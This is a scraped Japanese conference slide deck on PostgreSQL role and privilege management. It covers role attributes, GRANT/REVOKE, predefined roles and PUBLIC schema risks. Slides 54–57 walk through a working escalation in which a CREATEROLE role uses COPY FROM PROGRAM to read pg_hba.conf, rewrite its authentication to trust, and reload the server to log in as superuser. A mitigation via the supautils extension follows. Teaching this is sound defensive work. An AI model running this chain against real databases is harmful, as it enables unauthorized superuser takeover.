Mais conteúdo relacionado

Apresentações para você(20)

Similar a PostgreSQLのロール管理とその注意点(Open Source Conference 2022 Online/Osaka 発表資料)(20)

Mais de NTT DATA Technology & Innovation(20)

Último(20)

PostgreSQLのロール管理とその注意点(Open Source Conference 2022 Online/Osaka 発表資料)

  1. © 2022 NTT DATA Corporation PostgreSQLのロール管理とその注意点 2022年1月29日 Open Source Conference 2022 Online/Osaka 株式会社NTTデータ 技術開発本部 加藤 慎也
  2. © 2022 NTT DATA Corporation 2 自己紹介 • 名前 • 加藤 慎也 @ShinyaKato_ • 所属 • 株式会社NTTデータ 技術開発本部 • 業務 • PostgreSQLの研究開発やサポート業務に従事
  3. © 2022 NTT DATA Corporation 3 本講演について • 講演資料 • NTTデータのSlideShareアカウントで公開予定 • https://www.slideshare.net/nttdata-tech • 動作環境 • CentOS Stream 8.3 • PostgreSQL 14.0 • 一部開発中の機能を紹介しますが、正式リリースまでに変更になる場合があります • プロンプトの表記 • # :シェルのルートユーザのプロンプト • $ :シェルの一般ユーザのプロンプト • =# :psqlのスーパーユーザのプロンプト • => :psqlの一般ユーザのプロンプト
  4. © 2022 NTT DATA Corporation 4 目次 1. ロールとは? – ロールの概要 – ロールの属性 – 権限 – 定義済みロール 2. ロール管理の注意点とその対処法 – PUBLICロール – CREATEROLE権限強すぎ問題 3. まとめ
  5. © 2022 NTT DATA Corporation 5 PostgreSQL • オープンソースのRDBMS • 1年に1回のペースでメジャーバージョンアップが行われ、 最新バージョンはPostgreSQL 14 • BSDライセンスに類似したPostgreSQLライセンス
  6. © 2022 NTT DATA Corporation ロールの概要 6
  7. © 2022 NTT DATA Corporation 7 ロール(1/2) • インスタンスに対するアクセス権限の集まり • 属性と権限を持ち、それらによってDBへのアクセスを管理する • ユーザとロールを包含する概念 • 他の多くのRDBMSはユーザとロールは別物 • PostgreSQLでは、ユーザ=ロール+ログイン権限 • あるロールAを別のロールBに付与することで権限を継承できる • これを「ロールBはロールAのメンバ資格を持つ」と言う
  8. © 2022 NTT DATA Corporation 8 ロール(2/2) • CREATE ROLE/DROP ROLEでロールの作成/削除を行い、ALTER ROLEでロールの 変更を行う =# CREATE ROLE role1 LOGIN; CREATE ROLE =# ALTER ROLE role1 CREATEDB; ALTER ROLE =# DROP ROLE role1; DROP ROLE
  9. © 2022 NTT DATA Corporation 9 ログイン • ログイン権限を持つロールでデータベースにログインする • psqlでデータベースに接続時に-Uオプションでロールを指定、または psqlでデータベースに接続中にc(connect)を使用する $ psql -U postgres =# c - role1 You are now connected to database "postgres" as user "role1". =>
  10. © 2022 NTT DATA Corporation 10 SET ROLE(1/2) • 一時的に指定したロールを使用する • セッションユーザがメンバ資格を持つロールのみ使用できる • セッションユーザとは、セッションを開始したユーザ • スーパーユーザは任意のロールを使用可 • SET ROLE NONE/RESET ROLEで元のロールに戻る
  11. © 2022 NTT DATA Corporation 11 SET ROLE(2/2) =# SET ROLE role2; SET => SELECT SESSION_USER, CURRENT_USER; session_user | current_user --------------+-------------- postgres | role2 (1 row) => RESET ROLE; RESET =# SELECT SESSION_USER, CURRENT_USER; session_user | current_user --------------+-------------- postgres | postgres (1 row)
  12. © 2022 NTT DATA Corporation 12 ロールの情報の確認(du) • psqlのメタコマンドduで全てのロール、du role_nameでrole_nameの情報を確認 できる =# CREATE ROLE role2; CREATE ROLE =# du List of roles Role name | Attributes | Member of -----------+------------------------------------------------------------+---------- - postgres | Superuser, Create role, Create DB, Replication, Bypass RLS | {} role2 | Cannot login | {} =# du role2 List of roles Role name | Attributes | Member of -----------+--------------+----------- role2 | Cannot login | {}
  13. © 2022 NTT DATA Corporation 13 ロールの情報の確認(pg_roles) • pg_rolesビューによりロールの情報を確認できる =# SELECT * FROM pg_roles WHERE rolname = 'role2'; -[ RECORD 1 ]--+--------- rolname | role2 rolsuper | f rolinherit | t rolcreaterole | f rolcreatedb | f rolcanlogin | f rolreplication | f rolconnlimit | -1 rolpassword | ******** rolvaliduntil | rolbypassrls | f rolconfig | oid | 40988
  14. © 2022 NTT DATA Corporation 14 ロールの情報の確認(その他:システムカタログ) • pg_authid • pg_auth_members • pg_db_role_setting • pg_init_privs • システムビュー • pg_group • pg_shadow • pg_user
  15. © 2022 NTT DATA Corporation 15 ロールの情報の確認(その他:情報スキーマ) • administrable_role_authorizations • applicable_roles • enabled_roles • role_column_grants • role_routine_grants • role_table_grants • role_udt_grants • role_usage_grants
  16. © 2022 NTT DATA Corporation 16 ロールの情報の確認(その他:システム情報関数) • セッション情報関数 • current_user • current_role • session_user • user • アクセス権限照会関数 • has_xxx_privilege • xxx = any_column、column、database、foreign_data_wrapper、function、language、 schema、sequence、server、table、tablespace、type • pg_has_role • row_security_active
  17. © 2022 NTT DATA Corporation ロールの属性 17
  18. © 2022 NTT DATA Corporation 18 ロールの属性 • 属性はCREATE ROLE、およびALTER ROLEで設定できる DBクラスタ #1 DBクラスタ #2 INHERIT ロールの権限を 継承する CREATEROLE ロールを作成する CREATEDB データベースを作成する SUPERUSER ログイン権限を除く 他の権限検査をパス LOGIN ログイン可能か PASSWORD パスワードの設定 REPLICATION レプリケーション接続 CONNECTION LIMIT 最大同時接続数の制限 BYPASSRLS 行セキュリティ ポリシーを無視する
  19. © 2022 NTT DATA Corporation 19 ログイン権限(1/2) • LOGIN属性を持つロールのみがデータベース接続のロールとして使用可能 =# CREATE ROLE role1 LOGIN; CREATE ROLE =# du role1 List of roles Role name | Attributes | Member of -----------+------------+----------- role1 | | {} =# c - role1 You are now connected to database "postgres" as user "role1". => LOGIN属性を持つ場合 何も表示されない
  20. © 2022 NTT DATA Corporation 20 ログイン権限(2/2) • CREATE USERでもロールの作成ができ、デフォルトでLOGIN属性を持つ =# CREATE USER role2; CREATE ROLE =# du role2 List of roles Role name | Attributes | Member of -----------+------------+----------- role2 | | {} =# c - role2 You are now connected to database "postgres" as user "role2". => LOGIN属性を持つ場合 何も表示されない
  21. © 2022 NTT DATA Corporation 21 スーパーユーザ状態 • スーパーユーザは、ログイン権限を除く他の権限検査は全て行われない • 危険な権限のため安易に使用せず、作業は非スーパーユーザで行うべき • スーパーユーザは、スーパーユーザのロールでのみ作成することができる =# CREATE ROLE role3 SUPERUSER; CREATE ROLE =# du role3 List of roles Role name | Attributes | Member of -----------+-------------------------+----------- role3 | Superuser, Cannot login | {}
  22. © 2022 NTT DATA Corporation 22 データベース作成 • (スーパーユーザを除き)データベースを作成するにはロールに明示的にデータベースを 作成するための権限を指定する必要がある =# CREATE ROLE role4 CREATEDB; CREATE ROLE =# du role4 List of roles Role name | Attributes | Member of -----------+-------------------------+----------- role4 | Create DB, Cannot login | {} =# SET ROLE role4; SET => CREATE DATABASE db; CREATE DATABASE
  23. © 2022 NTT DATA Corporation 23 ロールの作成 • (スーパーユーザを除き)あるロールがロールを作成するには明示的にロールを作成する ための権限を指定する必要がある =# CREATE ROLE role5 CREATEROLE; CREATE ROLE =# du role5 List of roles Role name | Attributes | Member of -----------+---------------------------+----------- role5 | Create role, Cannot login | {} =# SET ROLE role5; SET => CREATE ROLE role6; CREATE ROLE
  24. © 2022 NTT DATA Corporation 24 レプリケーションの新規接続 • (スーパーユーザを除き)あるロールがレプリケーションの新規接続を実施するには、 明示的に権限を付与する必要がある • レプリケーションを行うにはログイン権限を持っている必要がある • スーパーユーザのみREPLICATION属性を持つロールを作成できる =# CREATE ROLE role6 REPLICATION LOGIN; CREATE ROLE =# du role6 List of roles Role name | Attributes | Member of -----------+-------------+----------- role6 | Replication | {}
  25. © 2022 NTT DATA Corporation 25 パスワード • データベースに接続する際にパスワードを要求する場合に設定 • VALID UNTIL句でパスワードが無効になる日時を設定可能 • 省略された場合、パスワードは永遠に有効 • passwordコマンドでもパスワードの設定ができ、コマンド履歴やサーバログにパスワードが 出力されないため、passwordコマンドの使用が推奨される =# CREATE ROLE role7 PASSWORD 'string' VALID UNTIL '2022-01-29'; CREATE ROLE =# du role7 List of roles Role name | Attributes | Member of -----------+---------------------------------------------+----------- role7 | Cannot login +| {} | Password valid until 2022-01-29 00:00:00+09 |
  26. © 2022 NTT DATA Corporation 26 権限の継承 • ロールがそのロールが属するロールの権限を継承する場合に設定 • オプションを指定しない場合、デフォルトでINHERITを持つ =# CREATE ROLE role8 INHERIT; CREATE ROLE =# CREATE ROLE role9; CREATE ROLE =# du role8 List of roles Role name | Attributes | Member of -----------+--------------+----------- role8 | Cannot login | {} =# du role9 List of roles Role name | Attributes | Member of -----------+--------------+----------- role9 | Cannot login | {} 権限の継承の実行例は 後のスライドで INHERIT属性を持つ場合 何も表示されない
  27. © 2022 NTT DATA Corporation 27 行セキュリティポリシーの無視 • ロールが行セキュリティ(RLS)ポリシーを無視する場合に設定 • テーブルに対してロールが操作できる行を制限する仕組み • スーパーユーザのみBYPASSRLS属性を持つロールを作成できる =# CREATE ROLE role10 BYPASSRLS; CREATE ROLE =# du role10 List of roles Role name | Attributes | Member of -----------+--------------------------+----------- role10 | Cannot login, Bypass RLS | {}
  28. © 2022 NTT DATA Corporation 28 最大同時接続数の制限 • ロールがログイン可能である場合、そのロールが確立できる最大同時接続数を設定 • デフォルトは-1であり、これは無制限であることを意味する =# CREATE ROLE role11 LOGIN CONNECTION LIMIT 10; CREATE ROLE =# du role11 List of roles Role name | Attributes | Member of -----------+----------------+----------- role11 | 10 connections | {}
  29. © 2022 NTT DATA Corporation 29 ロールのデフォルトパラメータ(1/2) • ALTER ROLE SETで、ロールがログインするときのデフォルトパラメータを設定できる • ALTER ROLE RESETで、設定を削除できる • ログイン時のみパラメータが設定され、SET ROLE時にはパラメータは設定されない • IN DATABASE句を用いると、対象のデータベースを指定できる
  30. © 2022 NTT DATA Corporation 30 ロールのデフォルトパラメータ(2/2) =# ALTER ROLE role11 SET maintenance_work_mem = 100000; ALTER ROLE =# SHOW maintenance_work_mem; maintenance_work_mem ---------------------- 64MB (1 row) =# c - role11 You are now connected to database "postgres" as user "role11". => SHOW maintenance_work_mem; maintenance_work_mem ---------------------- 100000kB (1 row)
  31. © 2022 NTT DATA Corporation 権限 31
  32. © 2022 NTT DATA Corporation 32 データベースオブジェクトの所有者 • あるロールがCREATEコマンドを実行すると、そのロールを所有者とするオブジェクトが作成 される • 初期状態ではその所有者(またはスーパーユーザ)だけがそのオブジェクトを使用できる • publicスキーマを除く(後述) • 他のロールがそのオブジェクトを使用するには権限が付与されている必要がある
  33. © 2022 NTT DATA Corporation 33 データベースオブジェクトの権限(1/2) 権限 短縮形 適用可能なオブジェクトタイプ SELECT r (read) LARGE OBJECT、SEQUENCE、TABLE、テーブルの列 INSERT a (append) TABLE、テーブルの列 UPDATE w (write) LARGE OBJECT、SEQUENCE、TABLE、テーブルの列 DELETE d TABLE TRUNCATE D TABLE REFERENCES x TABLE、テーブルの列 TRIGGER t TABLE CREATE C DATABASE、SCHEMA、TABLESPACE CONNECT c DATABASE TEMPORARY T DATABASE EXECUTE X FUNCTION、PROCEDURE USAGE U DOMAIN、FOREIGN DATA WRAPPER、FOREIGN SERVER、 LANGUAGE、SCHEMA、SEQUENCE、TYPE
  34. © 2022 NTT DATA Corporation 34 データベースオブジェクトの権限(2/2) オブジェクトタイプ すべての権限 デフォルトPUBLIC権限 psqlコマンド DATABASE CTc Tc l DOMAIN U U dD+ FUNCTION or PROCEDURE X X df+ FOREIGN DATA WRAPPER U none dew+ FOREIGN SERVER U none des+ LANGUAGE U U dL+ LARGE OBJECT rw none SCHEMA UC none dn+ SEQUENCE rwU none dp TABLE(およびテーブルのようなオブジェクト) arwdDxt none dp テーブルの列 arwx none dp TABLESPACE C none db+ TYPE U U dT+
  35. © 2022 NTT DATA Corporation 35 権限の割り当て(1/2) • 権限の割り当てには、GRANTコマンドを用いる • 以下のような権限を割り当てる postgres スーパーユーザ role1 role2 sampleスキーマ 所有者postgres 全ての操作 CREATE権限 USAGE権限 全ての操作 sampleテーブル 所有者role1 SELECT権限
  36. © 2022 NTT DATA Corporation 36 権限の割り当て(2/2) =# CREATE SCHEMA sample; CREATE SCHEMA =# GRANT CREATE ON SCHEMA sample TO role1; GRANT =# GRANT USAGE ON SCHEMA sample TO role1; GRANT =# c - role1 You are now connected to database "postgres" as user "role1". => CREATE TABLE sample.sample (i INT); CREATE TABLE => GRANT SELECT ON TABLE sample.sample TO role2; GRANT
  37. © 2022 NTT DATA Corporation 37 権限の確認 => dn+ sample List of schemas Name | Owner | Access privileges | Description --------+----------+----------------------+------------- sample | postgres | postgres=UC/postgres+| | | role1=UC/postgres | (1 row) => dp sample.sample Access privileges Schema | Name | Type | Access privileges | Column privileges | Policies --------+--------+-------+---------------------+-------------------+---------- sample | sample | table | role1=arwdDxt/role1+| | | | | role2=r/role1 | | (1 row) role2のSELECT (r)権限は role1によってGRANTされた
  38. © 2022 NTT DATA Corporation 38 権限の継承(1/2) • ロールの持つ権限を、別のロールに与えることができる(これをメンバ資格という) • 権限を継承するにはINHERIT属性を持つ必要がある • 以下のような権限を割り当てる postgres スーパーユーザ role1 role2 sampleスキーマ 所有者postgres 全ての操作 全ての操作 sampleテーブル 所有者role1 全ての操作 継承 CREATE権限 USAGE権限
  39. © 2022 NTT DATA Corporation 39 => GRANT role1 to role2; GRANT ROLE => du role2 List of roles Role name | Attributes | Member of -----------+------------+----------- role2 | | {role1} => SET ROLE role2; SET => INSERT INTO sample.sample VALUES (1); INSERT 0 1 権限の継承(2/2) role1の全権限をrole2に 継承したのでINSERTできる
  40. © 2022 NTT DATA Corporation 40 権限の取り消し • 権限の取り消しには、REVOKEコマンドを用いる => REVOKE role1 FROM role2; REVOKE ROLE => du role2 List of roles Role name | Attributes | Member of -----------+------------+----------- role2 | | {} => REVOKE SELECT ON TABLE sample.sample FROM role2; REVOKE => dp sample.sample Access privileges Schema | Name | Type | Access privileges | Column privileges | Policies --------+--------+-------+---------------------+-------------------+---------- sample | sample | table | role1=arwdDxt/role1 | | (1 row)
  41. © 2022 NTT DATA Corporation 定義済みロール (旧デフォルトロール) 41
  42. © 2022 NTT DATA Corporation 42 定義済みロール(1/2) • 共通に必要かつ、特権の必要な機能や情報にアクセスするために使用 • 定義済みロールを任意のロールにGRANTすることでこの機能や情報を使用できる ロール 可能なアクセス pg_read_all_data すべてのデータ(テーブル、ビュー、シーケンス)を読み取る pg_write_all_data すべてのデータ(テーブル、ビュー、シーケンス)に書き込む pg_read_all_settings 全ての設定変数を読み取る pg_read_all_stats すべてのpg_stat_*ビューを読み取る pg_stat_scan_tables 潜在的に長時間、テーブルのACCESS SHAREロックを取得する可能性がある監視機 能を実行する pg_monitor 各種の監視ビューや機能を読み取り/実行する。 このロールは、pg_read_all_settings 、pg_read_all_statsおよびpg_stat_scan_tablesのメンバである
  43. © 2022 NTT DATA Corporation 43 定義済みロール(2/2) • 共通に必要かつ、特権の必要な機能や情報にアクセスするために使用 • 定義済みロールを任意のロールにGRANTすることでこの機能や情報を使用できる ロール 可能なアクセス pg_database_owner なし。メンバ資格は暗黙に現在のデータベースの所有者から構成される pg_signal_backend 他のバックエンドに問い合わせのキャンセルやセッションの終了のシグナルを送信する pg_read_server_files COPYやその他のファイルアクセス関数で、データベースがサーバ上でアクセスできる任意 の場所からファイルを読み取ることを許可する pg_write_server_files COPYやその他のファイルアクセス関数で、データベースがサーバ上でアクセスできる任意 の場所にファイルを書き込むことを許可する pg_execute_server_program COPYやサーバ側のプログラムを実行できるその他の関数で、データベースを実行してい るユーザとしてデータベースサーバ上でのプログラムの実行を許可する
  44. © 2022 NTT DATA Corporation 44 定義済みロール使用例(1/2) • 一般ロールrole1にパラメータshared_preload_librariesの読み取りを許可する => SELECT CURRENT_USER; current_user -------------- role1 (1 row) => du role1 List of roles Role name | Attributes | Member of -----------+------------+----------- role1 | | {} => SHOW shared_preload_libraries; ERROR: must be superuser or a member of pg_read_all_settings to examine "shared_preload_libraries" 一般ロールは shared_preload_libraries を読み取りできない
  45. © 2022 NTT DATA Corporation 45 定義済みロール使用例(2/2) • 一般ロールrole1にパラメータshared_preload_librariesの読み取りを許可する =# GRANT pg_read_all_settings TO role1; GRANT ROLE =# du role1 List of roles Role name | Attributes | Member of -----------+------------+------------------------ role1 | | {pg_read_all_settings} =# SET ROLE role1; SET => SHOW shared_preload_libraries; shared_preload_libraries -------------------------- (1 row) pg_read_all_settings メンバ資格があれば読み取れる
  46. © 2022 NTT DATA Corporation 46 目次 1. ロールとは? – ロールの概要 – ロールの属性 – 権限 – 定義済みロール 2. ロール管理の注意点とその対処法 – PUBLICロール – CREATEROLE権限強すぎ問題 3. まとめ
  47. © 2022 NTT DATA Corporation PUBLICロール 47
  48. © 2022 NTT DATA Corporation 48 publicスキーマとPUBLICロール • PostgreSQLはデフォルトでpublicという名前のスキーマ(publicスキーマ)を作成し、 そのスキーマへのCREATE権限、USAGE権限をPUBLICというバックエンドロール (PUBLICロール)に付与 • 全てのロールはデフォルトでPUBLICロールのメンバ資格を保持 • 全てのロールはpublicスキーマへのCREATE権限、USAGE権限を保持しており、 publicスキーマを使用する際には注意する必要がある!
  49. © 2022 NTT DATA Corporation 49 publicスキーマでのテーブルの作成 • 新規作成したrole1は暗黙的にPUBLICロールメンバ資格を保持するため、 publicスキーマにテーブルの作成が可能 • デフォルトの設定ではスキーマ名を指定しなければ、publicスキーマにオブジェクトが作成される =# CREATE ROLE role1; CREATE ROLE =# SET ROLE role1; SET => CREATE TABLE t1 (i INT); CREATE TABLE
  50. © 2022 NTT DATA Corporation 50 対処法(PostgreSQL 14まで) • 事前にPUBLICロールから不必要な権限をREVOKEしておく =# REVOKE CREATE ON SCHEMA public FROM PUBLIC; REVOKE =# SET ROLE role1; SET => CREATE TABLE t2 (i INT); ERROR: permission denied for schema public LINE 1: CREATE TABLE t2 (i INT);
  51. © 2022 NTT DATA Corporation 51 対処法(PostgreSQL 15) • デフォルトでpublicスキーマへのCREATE権限が割り当てられていないため対処不要 =# CREATE ROLE role2; CREATE ROLE =# SET ROLE role2; SET => CREATE TABLE t3 (i INT); ERROR: permission denied for schema public LINE 1: create table t3 (i INT);
  52. © 2022 NTT DATA Corporation CREATEROLE権限強すぎ問題 52
  53. © 2022 NTT DATA Corporation 53 CREATEROLE権限は危険 • PostgreSQLドキュメントに以下の記述がある • CREATEROLE権限を持つロールは、ほとんどスーパーユーザ権限を持つロールと同じ であるものと考えてください • https://www.postgresql.jp/document/13/html/sql-createrole.html PostgreSQL すべての操作が 可能 ① OSコマンド 実行権限 の付与 ② OSコマンドを駆使 してスーパーユーザ としてログイン CREATEROLE権限 スーパーユーザ権限
  54. © 2022 NTT DATA Corporation 54 ① OSコマンド実行権限の付与 => SELECT CURRENT_USER; current_user -------------- role1 (1 row) => du role1 List of roles Role name | Attributes | Member of -----------+-------------+----------- role1 | Create role | {} => CREATE ROLE role2 LOGIN IN ROLE pg_execute_server_program; CREATE ROLE => du role2 List of roles Role name | Attributes | Member of -----------+------------+----------------------------- role2 | | {pg_execute_server_program} CREATEROLE権限をもつ role1でログイン pg_execute_server_ programを付与
  55. © 2022 NTT DATA Corporation 55 ② OSコマンドを駆使してスーパーユーザとしてログイン(1/3) => CREATE TABLE outputs (cmd_output TEXT); CREATE TABLE => COPY outputs FROM PROGRAM 'cat pg_hba.conf'; COPY 97 => SELECT cmd_output FROM outputs WHERE cmd_output NOT LIKE '#%'; cmd_output ------------------------------------------------------------------------- - /home/shinya/pgsql/14/data local all all trust host all all all scram-sha-256 host all all ::1/128 scram-sha-256 local replication all trust host replication all 127.0.0.1/32 trust host replication all ::1/128 trust プログラムの実行結果を 保存するテーブルを作成 pg_hba.confの中身を outputsテーブルに保存 TCP/IPで接続時は パスワード認証をしている
  56. © 2022 NTT DATA Corporation 56 ② OSコマンドを駆使してスーパーユーザとしてログイン(2/3) => COPY outputs FROM PROGRAM 'sed -i -e "s/scram-sha-256/trust/" pg_hba.conf'; COPY 0 => TRUNCATE outputs; TRUNCATE TABLE => COPY outputs FROM PROGRAM 'cat pg_hba.conf'; COPY 97 => SELECT cmd_output FROM outputs WHERE cmd_output NOT LIKE '#%'; cmd_output ----------------------------------------------------------------- local all all trust host all all all trust host all all ::1/128 trust local replication all trust host replication all 127.0.0.1/32 trust host replication all ::1/128 trust scram-sha-256をtrustに置換
  57. © 2022 NTT DATA Corporation 57 ② OSコマンドを駆使してスーパーユーザとしてログイン(3/3) => c - postgres Password for user postgres: FATAL: password authentication failed for user “postgres" Previous connection kept => COPY outputs FROM PROGRAM '../bin/pg_ctl reload -D ../data'; COPY 1 => c - postgres You are now connected to database "postgres" as user "postgres". =# PostgreSQLをリロード パスワード認証なしで スーパーユーザでログインできる
  58. © 2022 NTT DATA Corporation 58 CREATE権限強すぎ問題への対処法(1/3) • PostgreSQLの拡張機能supautilsを使用する • https://github.com/supabase/supautils • 機能 • パラメータsupautils.reserved_rolesに指定されたロールに対して、 ロールの削除、属性の変更、ロール名の変更、メンバ資格のGRANT/REVOKEを禁止 • パラメータsupautils.reserved_membershipsに指定されたロールのGRANTを禁止
  59. © 2022 NTT DATA Corporation 59 CREATE権限強すぎ問題への対処法(2/3) • コンパイル、インストール • postgresql.confの設定 $ git clone https://github.com/supabase/supautils.git $ cd supautils $ make PG_CONFIG=/opt/pgsql-X.Y.Z/bin/pg_config $ su # make PG_CONFIG=/opt/pgsql-X.Y.Z/bin/pg_config install # exit shared_preload_libraries='supautils' supautils.reserved_roles='' supautils.reserved_memberships='pg_execute_server_program'
  60. © 2022 NTT DATA Corporation 60 CREATE権限強すぎ問題への対処法(3/3) • 使用例 => SELECT CURRENT_USER; current_user -------------- role1 (1 row) => du role1 List of roles Role name | Attributes | Member of -----------+-------------+----------- role1 | Create role | {} => CREATE ROLE role2 IN ROLE pg_execute_server_program; ERROR: "pg_execute_server_program" role memberships are reserved, only superusers can grant them CREATEROLE権限をもつ role1でログイン pg_execute_server_ programを付与できない
  61. © 2022 NTT DATA Corporation 61 目次 1. ロールとは? – ロールの概要 – ロールの属性 – 権限 – 定義済みロール 2. ロール管理の注意点とその対処法 – PUBLICロール – CREATEROLE権限強すぎ問題 3. まとめ
  62. © 2022 NTT DATA Corporation 62 まとめ • ロールとは、インスタンスに対するアクセス権限の集まり • ロールは、属性と権限を持ち、それらによってDBへのアクセスを管理する • あるロールを別のロールに付与することで権限を継承できる • 全てのロールはデフォルトでPUBLICロールのメンバ資格を保持しているので注意が必要 • CREATEROLE権限を持つロールはスーパーユーザ権限を奪取できるため注意が必要
  63. © 2022 NTT DATA Corporation その他、記載されている会社名、商品名、又はサービス名は、 各社の登録商標又は商標です。